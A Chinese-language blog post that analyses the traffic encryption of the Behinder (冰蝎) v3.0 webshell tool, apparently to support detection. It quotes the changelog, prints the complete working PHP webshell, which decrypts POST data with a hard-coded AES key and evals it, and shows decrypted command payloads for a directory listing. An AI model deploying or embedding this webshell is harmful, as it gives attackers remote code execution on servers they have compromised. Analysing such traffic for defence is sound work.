前言
昨天冰蝎Behinder_v3.0 Beta 1发布,相较于冰蝎2.0做了一些修改,咱们先来看一下官方的更新说明:
2020.8.16 v3.0Beta 1 更新日志
1.去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5('admin')[0:16];
2.增加了插件机制,可开发安装自定义扩展插件;
3.UI框架由awt改为javafx,重写了大量逻辑;
4.增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口。
分析
在流量层,最重要的改动就是修改了原来明文认证密码并生成aes加密key的过程,将webshell连接密码md5加密后取前16位作为加密流量的密钥,脚本端变化(以php为例):
<?php
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key='e45e329feb5d925b';
$_SESSION['k']=$key;
$post=file_get_contents('php://input');
if(!extension_loaded('openssl'))
{
$t='base64_'.'decode';
$post=$t($post.'');
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, 'AES128', $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p.'');}}
@call_user_func(new C(),$params);
}
?>
可以看到,这里将key写死了,直接使用这个key解密客户端传过来的aes流量,这个key的值是md5之后取前16位的rebeyond,也是冰蝎的默认密码:
接下来抓包看一下,在双击添加的webshell之后,客户端总共发送了4个数据包:
我们使用key将流量解密,跟冰蝎2.0一样,解aes后再解一次base64:
解密之后的post数据:
@error_reporting(0);function main($content){ $result = array(); $result['status'] = base64_encode('success'); $result['msg'] = base64_encode($content); $key = $_SESSION['k']; echo encrypt(json_encode($result),$key);}function encrypt($data,$key){ if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, 'AES128', $key); }}$content='660aeec1-574f-45a6-9936-a27b0a7ce173';main($content);
function main($mode, $path = '.', $content = '', $charset = '',$newpath)
{
...
}
function encrypt($data,$key)
{
...
}
}$mode='list';$path='E:\phpStudy\WWW/';
main($mode,$path);
联系客服